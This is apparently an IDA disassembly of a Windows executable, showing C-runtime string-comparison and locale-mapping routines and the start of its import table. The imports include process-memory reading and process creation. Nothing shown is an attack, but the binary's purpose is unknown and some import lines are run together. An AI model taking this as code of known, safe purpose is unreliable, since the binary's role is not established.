loc_41F559:				; CODE XREF: sub_41F4DB+1Fj
					; sub_41F4DB+3Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41F4DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F567	proc near		; CODE XREF: sub_40668C+31p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41F58E
		push	esi
		call	sub_4179C0
		inc	eax
		push	eax
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41F58E
		push	esi
		push	eax
		call	sub_419C40
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F58E:				; CODE XREF: sub_41F567+7j
					; sub_41F567+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41F567	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41F5A0	proc near		; CODE XREF: sub_403C3B+14Ap
		jmp	ds:dword_4201F0
sub_41F5A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41F5A6	proc near		; CODE XREF: sub_415643+24p
					; sub_415970+13p
		jmp	ds:dword_420160
sub_41F5A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5AC	proc near		; CODE XREF: sub_403374+DAp
					; sub_403374+F1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_416E15
		mov	ecx, [eax+64h]
		cmp	ecx, off_42D83C
		mov	[ebp+var_4], ecx
		jz	short loc_41F5CD
		call	sub_417C4E
		mov	[ebp+var_4], eax
		mov	ecx, eax


loc_41F5CD:				; CODE XREF: sub_41F5AC+15j
		cmp	dword ptr [ecx+14h], 0
		push	ebx
		jnz	short loc_41F612
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]


loc_41F5DA:				; CODE XREF: sub_41F5AC+62j
		xor	ebx, ebx
		mov	bx, [ecx]
		cmp	bx, 41h
		jb	short loc_41F5EE
		cmp	bx, 5Ah
		ja	short loc_41F5EE
		add	ebx, 20h


loc_41F5EE:				; CODE XREF: sub_41F5AC+37j
					; sub_41F5AC+3Dj
		xor	eax, eax
		mov	ax, [edx]
		cmp	ax, 41h
		jb	short loc_41F602
		cmp	ax, 5Ah
		ja	short loc_41F602
		add	eax, 20h


loc_41F602:				; CODE XREF: sub_41F5AC+4Bj
					; sub_41F5AC+51j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_41F64E
		cmp	bx, ax
		jz	short loc_41F5DA
		jmp	short loc_41F64E
; ---------------------------------------------------------------------------


loc_41F612:				; CODE XREF: sub_41F5AC+26j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		jmp	short loc_41F61F
; ---------------------------------------------------------------------------


loc_41F61C:				; CODE XREF: sub_41F5AC+9Ej
		mov	ecx, [ebp+var_4]


loc_41F61F:				; CODE XREF: sub_41F5AC+6Ej
		xor	eax, eax
		mov	ax, [esi]
		push	eax
		push	ecx
		call	sub_41F659
		inc	esi
		inc	esi
		mov	ebx, eax
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		push	[ebp+var_4]
		call	sub_41F659
		add	esp, 10h
		inc	edi
		inc	edi
		test	bx, bx
		jz	short loc_41F64C
		cmp	bx, ax
		jz	short loc_41F61C


loc_41F64C:				; CODE XREF: sub_41F5AC+99j
		pop	edi
		pop	esi


loc_41F64E:				; CODE XREF: sub_41F5AC+5Dj
					; sub_41F5AC+64j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		leave
		retn
sub_41F5AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F659	proc near		; CODE XREF: sub_41F5AC+7Ap
					; sub_41F5AC+8Cp

var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, 0FFFFh
		cmp	word ptr [ebp+arg_4], ax
		jz	short locret_41F6B8
		cmp	word ptr [ebp+arg_4], 100h
		push	esi
		mov	esi, [ebp+arg_0]
		jnb	short loc_41F68C
		push	1
		push	[ebp+arg_4]
		push	esi
		call	sub_41F913
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F68C
		mov	ax, word ptr [ebp+arg_4]
		jmp	short loc_41F6B7
; ---------------------------------------------------------------------------


loc_41F68C:				; CODE XREF: sub_41F659+19j
					; sub_41F659+2Bj
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_4]
		push	1
		push	eax
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_41F6BA
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_4]
		jz	short loc_41F6B7
		mov	ax, [ebp+var_4]


loc_41F6B7:				; CODE XREF: sub_41F659+31j
					; sub_41F659+58j
		pop	esi

locret_41F6B8:				; CODE XREF: sub_41F659+Dj
		leave
		retn
sub_41F659	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6BA	proc near		; CODE XREF: sub_41F659+4Ap

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	24h
		push	offset stru_429D80
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		inc	edi
		cmp	dword_47C604, ebx
		jnz	short loc_41F708
		push	ebx
		push	ebx
		push	edi
		push	offset dword_4290B0
		push	100h
		push	ebx
		call	ds:dword_4201A4	; LCMapStringW
		test	eax, eax
		jz	short loc_41F6F3
		mov	dword_47C604, edi
		jmp	short loc_41F708
; ---------------------------------------------------------------------------


loc_41F6F3:				; CODE XREF: sub_41F6BA+2Fj
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41F708
		mov	dword_47C604, 2


loc_41F708:				; CODE XREF: sub_41F6BA+17j
					; sub_41F6BA+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_41F72A
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_41F713:				; CODE XREF: sub_41F6BA+63j
		dec	ecx
		cmp	[eax], bx
		jz	short loc_41F722
		inc	eax
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_41F713
		or	ecx, 0FFFFFFFFh


loc_41F722:				; CODE XREF: sub_41F6BA+5Dj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_41F72A:				; CODE XREF: sub_41F6BA+51j
		mov	eax, dword_47C604
		cmp	eax, edi
		jnz	short loc_41F750
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A4	; LCMapStringW
		jmp	loc_41F90A
; ---------------------------------------------------------------------------


loc_41F750:				; CODE XREF: sub_41F6BA+77j
		cmp	eax, 2
		jz	short loc_41F759
		cmp	eax, ebx
		jnz	short loc_41F7AD


loc_41F759:				; CODE XREF: sub_41F6BA+99j
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41F76F
		mov	eax, dword_47C4C0
		mov	[ebp+arg_0], eax


loc_41F76F:				; CODE XREF: sub_41F6BA+ABj
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F77C
		mov	eax, dword_47C4D0
		mov	[ebp+arg_18], eax


loc_41F77C:				; CODE XREF: sub_41F6BA+B8j
		push	[ebp+arg_0]
		call	sub_41DF57
		pop	ecx
		cmp	[ebp+arg_18], eax
		jz	short loc_41F792
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F792
		mov	[ebp+arg_18], eax


loc_41F792:				; CODE XREF: sub_41F6BA+CEj
					; sub_41F6BA+D3j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_4200D8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	eax, ebx
		jnz	short loc_41F7B4


loc_41F7AD:				; CODE XREF: sub_41F6BA+9Dj
					; sub_41F6BA+141j
		xor	eax, eax
		jmp	loc_41F90A
; ---------------------------------------------------------------------------


loc_41F7B4:				; CODE XREF: sub_41F6BA+F1j
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41F7E8
; ---------------------------------------------------------------------------


loc_41F7D0:				; DATA XREF: .rdata:stru_429D80o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41F7D4:				; DATA XREF: .rdata:stru_429D80o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi


loc_41F7E8:				; CODE XREF: sub_41F6BA+114j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41F800
		push	[ebp+var_28]
		call	sub_414E7D
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	short loc_41F7AD
		mov	[ebp+var_20], edi


loc_41F800:				; CODE XREF: sub_41F6BA+131j
		push	ebx
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_4200D8	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41F8EA
		push	ebx
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A0	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_30], esi
		cmp	esi, ebx
		jz	loc_41F8EA
		mov	[ebp+ms_exc.disabled], edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_34], edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41F874
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_30]


loc_41F874:				; CODE XREF: sub_41F6BA+1A1j
		cmp	edi, ebx
		jnz	short loc_41F88C
		push	esi
		call	sub_414E7D
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F8ED
		mov	[ebp+var_24], 1


loc_41F88C:				; CODE XREF: sub_41F6BA+1BCj
		push	esi
		push	edi
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4201A0	; LCMapStringA
		test	eax, eax
		jz	short loc_41F8ED
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41F8C9
		mov	[ebp+var_1C], esi
		cmp	[ebp+arg_14], ebx
		jz	short loc_41F8ED
		cmp	[ebp+arg_14], esi
		jge	short loc_41F8BA
		mov	esi, [ebp+arg_14]


loc_41F8BA:				; CODE XREF: sub_41F6BA+1FBj
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_414670
		add	esp, 0Ch
		jmp	short loc_41F8ED
; ---------------------------------------------------------------------------


loc_41F8C9:				; CODE XREF: sub_41F6BA+1EEj
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41F8D2
		push	ebx
		push	ebx
		jmp	short loc_41F8D8
; ---------------------------------------------------------------------------


loc_41F8D2:				; CODE XREF: sub_41F6BA+212j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41F8D8:				; CODE XREF: sub_41F6BA+216j
		push	esi
		push	edi
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4200D4	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		jmp	short loc_41F8ED
; ---------------------------------------------------------------------------


loc_41F8EA:				; CODE XREF: sub_41F6BA+160j
					; sub_41F6BA+181j
		mov	edi, [ebp+var_34]


loc_41F8ED:				; CODE XREF: sub_41F6BA+1C9j
					; sub_41F6BA+1E8j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_41F8F9
		push	edi
		call	sub_414A14
		pop	ecx


loc_41F8F9:				; CODE XREF: sub_41F6BA+236j
		cmp	[ebp+var_20], ebx
		jz	short loc_41F907
		push	[ebp+var_2C]
		call	sub_414A14
		pop	ecx


loc_41F907:				; CODE XREF: sub_41F6BA+242j
		mov	eax, [ebp+var_1C]


loc_41F90A:				; CODE XREF: sub_41F6BA+91j
					; sub_41F6BA+F5j
		lea	esp, [ebp-40h]
		call	__SEH_epilog
		retn
sub_41F6BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F913	proc near		; CODE XREF: sub_41F659+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0FFFFh
		jz	short loc_41F958
		cmp	[ebp+arg_4], 100h
		jnb	short loc_41F937
		movzx	eax, [ebp+arg_4]
		mov	ecx, off_42DEA4
		mov	ax, [ecx+eax*2]
		jmp	short loc_41F95F
; ---------------------------------------------------------------------------


loc_41F937:				; CODE XREF: sub_41F913+12j
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	1
		call	sub_41F96A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41F95C


loc_41F958:				; CODE XREF: sub_41F913+Aj
		xor	eax, eax
		jmp	short loc_41F95F
; ---------------------------------------------------------------------------


loc_41F95C:				; CODE XREF: sub_41F913+43j
		mov	eax, [ebp+var_4]


loc_41F95F:				; CODE XREF: sub_41F913+22j
					; sub_41F913+47j
		movzx	ecx, [ebp+arg_8]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_41F913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F96A	proc near		; CODE XREF: sub_41F913+39p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	24h
		push	offset stru_429D98
		call	__SEH_prolog
		xor	esi, esi
		xor	edi, edi
		inc	edi
		cmp	dword_47C608, esi
		jnz	short loc_41F9B5
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		push	offset dword_4290B0
		push	edi
		call	ds:dword_420154	; GetStringTypeW
		test	eax, eax
		jz	short loc_41F9A0
		mov	dword_47C608, edi
		jmp	short loc_41F9B5
; ---------------------------------------------------------------------------


loc_41F9A0:				; CODE XREF: sub_41F96A+2Cj
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41F9B5
		mov	dword_47C608, 2


loc_41F9B5:				; CODE XREF: sub_41F96A+17j
					; sub_41F96A+34j ...
		mov	eax, dword_47C608
		cmp	eax, edi
		jnz	short loc_41F9D5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_420154	; GetStringTypeW
		jmp	loc_41FB86
; ---------------------------------------------------------------------------


loc_41F9D5:				; CODE XREF: sub_41F96A+52j
		cmp	eax, 2
		jz	short loc_41F9DE
		cmp	eax, esi
		jnz	short loc_41FA31


loc_41F9DE:				; CODE XREF: sub_41F96A+6Ej
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_14], esi
		jnz	short loc_41F9F1
		mov	eax, dword_47C4C0
		mov	[ebp+arg_14], eax


loc_41F9F1:				; CODE XREF: sub_41F96A+7Dj
		cmp	[ebp+arg_10], esi
		jnz	short loc_41F9FE
		mov	eax, dword_47C4D0
		mov	[ebp+arg_10], eax


loc_41F9FE:				; CODE XREF: sub_41F96A+8Aj
		push	[ebp+arg_14]
		call	sub_41DF57
		pop	ecx
		cmp	[ebp+arg_10], eax
		jz	short loc_41FA14
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FA14
		mov	[ebp+arg_10], eax


loc_41FA14:				; CODE XREF: sub_41F96A+A0j
					; sub_41F96A+A5j
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_10]
		call	ds:dword_4200D8	; WideCharToMultiByte
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, esi
		jnz	short loc_41FA38


loc_41FA31:				; CODE XREF: sub_41F96A+72j
					; sub_41F96A+126j
		xor	eax, eax
		jmp	loc_41FB86
; ---------------------------------------------------------------------------


loc_41FA38:				; CODE XREF: sub_41F96A+C5j
		mov	[ebp+ms_exc.disabled], esi
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	ebx
		push	esi
		push	eax
		call	sub_41C550
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------


loc_41FA61:				; DATA XREF: .rdata:stru_429D98o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41FA65:				; DATA XREF: .rdata:stru_429D98o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		and	[ebp+var_2C], 0
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi
		mov	ebx, [ebp+var_28]
		xor	esi, esi


loc_41FA7D:				; CODE XREF: sub_41F96A+F5j
		cmp	[ebp+var_2C], esi
		jnz	short loc_41FA95
		push	ebx
		push	edi
		call	sub_41C280
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, esi
		jz	short loc_41FA31
		mov	[ebp+var_20], edi


loc_41FA95:				; CODE XREF: sub_41F96A+116j
		push	esi
		push	esi
		push	ebx
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_10]
		call	ds:dword_4200D8	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41FB75
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebx+ebx+2]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41FAEF
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		and	[ebp+var_30], 0
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi
		mov	ebx, [ebp+var_28]
		xor	esi, esi


loc_41FAEF:				; CODE XREF: sub_41F96A+167j
		cmp	[ebp+var_30], esi
		jnz	short loc_41FB09
		lea	eax, [ebx+ebx+2]
		push	eax
		call	sub_414E7D
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, esi
		jz	short loc_41FB75
		mov	[ebp+var_24], edi


loc_41FB09:				; CODE XREF: sub_41F96A+188j
		cmp	[ebp+arg_14], esi
		jnz	short loc_41FB16
		mov	eax, dword_47C4C0
		mov	[ebp+arg_14], eax


loc_41FB16:				; CODE XREF: sub_41F96A+1A2j
		mov	edi, [ebp+arg_8]
		add	edi, edi
		mov	eax, [ebp+var_30]
		lea	esi, [edi+eax]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	eax
		push	ebx
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	ds:dword_4201D4	; GetStringTypeA
		mov	[ebp+var_34], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_41FB60
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_41FB60
		push	edi
		push	[ebp+var_30]
		push	[ebp+arg_C]
		call	sub_41D220
		add	esp, 0Ch
		jmp	short loc_41FB64
; ---------------------------------------------------------------------------


loc_41FB60:				; CODE XREF: sub_41F96A+1DCj
					; sub_41F96A+1E3j
		and	[ebp+var_34], 0


loc_41FB64:				; CODE XREF: sub_41F96A+1F4j
		cmp	[ebp+var_24], 0
		jz	short loc_41FB73
		push	[ebp+var_30]
		call	sub_414A14
		pop	ecx


loc_41FB73:				; CODE XREF: sub_41F96A+1FEj
		xor	esi, esi


loc_41FB75:				; CODE XREF: sub_41F96A+143j
					; sub_41F96A+19Aj
		cmp	[ebp+var_20], esi
		jz	short loc_41FB83
		push	[ebp+var_2C]
		call	sub_414A14
		pop	ecx


loc_41FB83:				; CODE XREF: sub_41F96A+20Ej
		mov	eax, [ebp+var_34]


loc_41FB86:				; CODE XREF: sub_41F96A+66j
					; sub_41F96A+C9j
		lea	esp, [ebp-40h]
		call	__SEH_epilog
		retn
sub_41F96A	endp

; ---------------------------------------------------------------------------
		mov	eax, dword_435C08
		and	eax, 0FFFFFFFEh
		mov	dword_435C08, eax
		retn
; ---------------------------------------------------------------------------


loc_41FB9D:				; DATA XREF: sub_407064o
		mov	eax, offset dword_429DC8
		jmp	loc_415695
_text		ends

; Section 2. (virtual address 00020000)
; Virtual size			: 0000A8B8 (  43192.)
; Section size in file		: 0000A8B8 (  43192.)
; Offset to raw	data for section: 00020000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rdata		segment	para public 'CODE' use32
		assume cs:_rdata
		;org 420000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_420000	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401141+28Br ...
dword_420004	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401967+32r ...
dword_420008	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_401141+278r ...
dword_42000C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401141+25Br ...
dword_420010	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401141+183r ...
dword_420014	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_401B9D+24Br ...
dword_420018	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_41804A+28r ...
dword_42001C	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_417FF8+28r ...
dword_420020	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_420024	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_401B9D+23Br ...
dword_420028	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_42002C	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4021B5+2C6r ...
dword_420030	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_41126C+F8r
dword_420034	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_402E99+D9r ...
dword_420038	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_40260A+485r ...
dword_42003C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_402E99+B2r ...
dword_420040	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_406A33+AFr ...
dword_420044	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_4048D6+26r ...
dword_420048	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_408A18+433Br ...
dword_42004C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_402F79+144r ...
dword_420050	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_402F79+139r ...
dword_420054	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_4041E2+231r
dword_420058	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4031EB+F5r ...
dword_42005C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_403374+4Ar ...
dword_420060	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_403374+40r ...
dword_420064	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; sub_4041E2+2ABr
dword_420068	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTime					; sub_4041E2+29Dr
dword_42006C	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_403512+53r
dword_420070	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_403512+8Dr
dword_420074	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_403512+2Cr ...
dword_420078	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_403512+10r ...
dword_42007C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_420080	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_420084	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4057AC+11r ...
dword_420088	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4057AC+13Ar ...
dword_42008C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40F18F+B9r ...
dword_420090	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_41B348+2Dr ...
dword_420094	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_404C6A+1F6r
dword_420098	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_41175C+185r
dword_42009C	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_41175C+16Er
dword_4200A0	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_406A33+10Ar ...
dword_4200A4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_406A33+F6r ...
dword_4200A8	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_4200AC	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4200B0	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_4200B4	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4200B8	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4200BC	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4200C0	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_4200C4	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_4200C8	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4200CC	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_408206+293r ...
dword_4200D0	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_408A18+2FE4r
dword_4200D4	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_413FFD+84r ...
dword_4200D8	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; .text:004143F0r ...
dword_4200DC	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; .text:0040FABAr
dword_4200E0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40F31C+7Dr ...
dword_4200E4	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_408A18+3947r ...
dword_4200E8	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_408206+24Br ...
dword_4200EC	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_4200F0	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_41094B+A3r ...
dword_4200F4	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_4200F8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_41E16F+17r
dword_4200FC	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_413FFD+ACr
dword_420100	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40E745+307r
